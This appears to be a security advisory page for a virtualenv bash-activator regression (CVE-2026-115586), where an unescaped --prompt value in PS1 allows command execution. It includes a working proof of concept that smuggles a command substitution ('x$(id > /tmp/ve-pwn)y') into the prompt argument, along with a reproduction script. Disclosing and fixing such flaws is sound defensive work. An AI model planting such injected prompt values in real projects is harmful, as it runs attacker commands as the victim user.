virtualenv: Bash activator leaves the --prompt value unescaped in PS1 when promptvars is off, so prompt expansion later executes it (regression in 21.14.9)
CVE-2026-115586 · GHSA-cx6f-vjhg-g3cc · published 23 Oct 2026
How serious is it
- Severity: high, CVSS score 7.1 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-115586?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
virtualenv(PyPI) >= 21.14.9, < 21.14.13
How to check
- Run
pip show virtualenvin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
- Or run
npx shippable-dev scan localhost:3000in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
virtualenvto 21.14.13 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
## Summary
The bash activator puts the caller-supplied prompt value into `PS1` unescaped whenever `promptvars` is off at activation time, and assumes prompt expansion can never run afterwards. `promptvars` and posix mode are runtime shell state, not a property of the activation moment: re-enabling prompt expansion in the same shell (`shopt -s promptvars`, `set -o posix`) or starting an interactive child bash that inherits the exported `PS1` makes bash expand the stored value and run the command substitution in it. An attacker who controls the prompt value gets command execution as the user who sources `bin/activate`.
This is a regression. 21.14.8 escaped `$` and the backtick unconditionally and stays inert under the same sequence. The 21.14.9 fix for GHSA-6w3r-xr62-4xcp (#3418) rewrote that block and left bash with a path that stores the raw value whenever `promptvars` is off.
## Affected area
Activation scripts (activate, activate.bat, activate.csh, activate.fish, activate.nu, Activate.ps1, activate.xsh) — specifically the bash `bin/activate`.
## Attacker-controlled input
The `--prompt` value, which the security policy already lists as a value that may come from project metadata the user did not write. It reaches `virtualenv` as `--prompt` on the command line or as the `prompt` argument of the API, is written into `bin/activate` as the literal `VIRTUAL_ENV_PROMPT` assignment (correctly quoted, the value arrives there as data), and the script then copies it into `PS1` without escaping `$` or the backtick.
Example: a repository or tool config supplies a prompt such as `x$(id > /tmp/ve-pwn)y`; the victim creates and later activates the environment.
## Details
Source of the latest release: [`src/virtualenv/activation/bash/activate.sh` lines 140-160](https://github.com/pypa/virtualenv/blob/21.14.12/src/virtualenv/activation/bash/activate.sh#L140-L160)
```sh
if [ -z "${VIRTUAL_ENV_DISABLE_PROMPT-}" ] &&
{ [ -n "${BASH_VERSION-}" ] || [ -n "${ZSH_VERSION-}" ]; }; then
_OLD_VIRTUAL_PS1="${PS1-}"
# bash expands PS1 after decoding its prompt escapes when promptvars is on or in posix mode, so the prompt holds a
# reference to the variable and its value never reaches that expansion; otherwise only the decode runs and
# backslashes need doubling. ...
if [ -n "${BASH_VERSION-}" ] && { shopt -q promptvars || shopt -qo posix; }; then
PS1='(${VIRTUAL_ENV_PROMPT-}) '"${PS1-}"
else
_VIRTUAL_PROMPT="${VIRTUAL_ENV_PROMPT//\\/\\\\}"
if [ -n "${ZSH_VERSION-}" ]; then
_VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\$/\\\$}"
_VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\`/\\\`}"
_VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\%/%%}"
fi
PS1="(${_VIRTUAL_PROMPT}) ${PS1-}"
unset _VIRTUAL_PROMPT
fi
fi
```
Two separate mistakes combine:
1. A runtime shell option is treated as a constant. `shopt -u promptvars` at the moment of `source` does not bind the shell forever: `shopt -s promptvars` and `set -o posix` both re-enable PS1 expansion in the same shell. The code itself tests `shopt -qo posix` because posix mode expands the prompt regardless of `promptvars`, which shows the expansion state is not fixed by the activation.
2. The escaping that would keep the value inert in that mode is missing for bash. GHSA-5vjq-rrrf-7h2q ("activate runs commands from the environment name in zsh with PROMPT_SUBST") fixed exactly this shape for zsh, reasoning that "a user can set it after activation", by escaping `$` and the backtick. Bash lost the equivalent escaping in the same commit that added the zsh branch.
The rendered prompt shows the regression directly:
```
21.14.8 PS1 = (x\\$(id > /tmp/ve-pwn)y) <- escaped, inert
21.14.9 PS1 = (x$(id > /tmp/ve-pwn)y) <- raw value
21.14.12 PS1 = (x$(id > /tmp/ve-pwn)y) <- raw value
```
Relevant commit: [`5f48d711` "fix(bash): preserve literal prompts in supported shells (#3418)"](https://github.com/pypa/virtualenv/commit/5f48d711731311428aebfae61d46957762155b22), which removed the unconditional `$`/backtick escaping from the bash path. Advisory for that change: [GHSA-6w3r-xr62-4xcp](https://github.com/pypa/virtualenv/security/advisories/GHSA-6w3r-xr62-4xcp).
## Proof of concept
Non-destructive payload: it runs `id` and writes the output to a file.
```bash
python -m virtualenv --no-seed --no-periodic-update --activators bash \
--prompt 'x$(id > /tmp/ve-pwn)y' /tmp/venv-demo
cat > /tmp/rc <<'EOF'
shopt -u promptvars
. /tmp/venv-demo/bin/activate
shopt -s promptvars
EOF
# the prompt needs a tty; script(1) provides one
printf 'exit\n' | script -qec 'bash --noprofile --rcfile /tmp/rc -i' /dev/null
cat /tmp/ve-pwn
```
Observed on 21.14.12:
```
$ cat /tmp/ve-pwn
uid=1000(asrun) gid=1000(asrun) groups=1000(asrun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),999(ollama)
```
The prompt printed as `(xy)`. The same script against 21.14.8 creates no file; against 21.14.9 and 21.14.12 it does.
Triggers, all run in a pty, activation itself never executing anything; execution happens at the next prompt redraw after prompt expansion is enabled:
| After `. bin/activate` (activated with `shopt -u promptvars`) | 21.14.8 | 21.14.9 | 21.14.12 |
| --- | --- | --- | --- |
| `shopt -s promptvars` | inert | executes | executes |
| `set -o posix` | inert | executes | executes |
| `export PS1`, then start an interactive child `bash` (its `promptvars` defaults to on) | inert | executes | executes |
| control: activation with default options | inert | inert | inert |
| control: activation with `set -o posix` already on | inert | inert | inert |
The third trigger needs no explicit option change: the poisoned `PS1` is inherited and the child bash expands it on its first prompt.
`shopt -u promptvars` is a documented way to make an expensive bash prompt cheap and appears in `~/.bashrc` files for that reason; it is also the state left by some prompt wrappers. Whoever sources such an …
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/pypa/virtualenv/security/advisories/GHSA-cx6f-vjhg-g3cc
- github.com/pypa/virtualenv/pull/3466
- github.com/pypa/virtualenv/commit/3598e201f6f044e389136b2347a8a919ac03c5f4
- github.com/pypa/virtualenv/releases/tag/21.14.13
- github.com/advisories/GHSA-cx6f-vjhg-g3cc
- github.com/pypa/virtualenv
Merged from GitHub Advisory Database, OSV. Last updated 26 Oct 2026. All vulnerabilities · RSS · JSON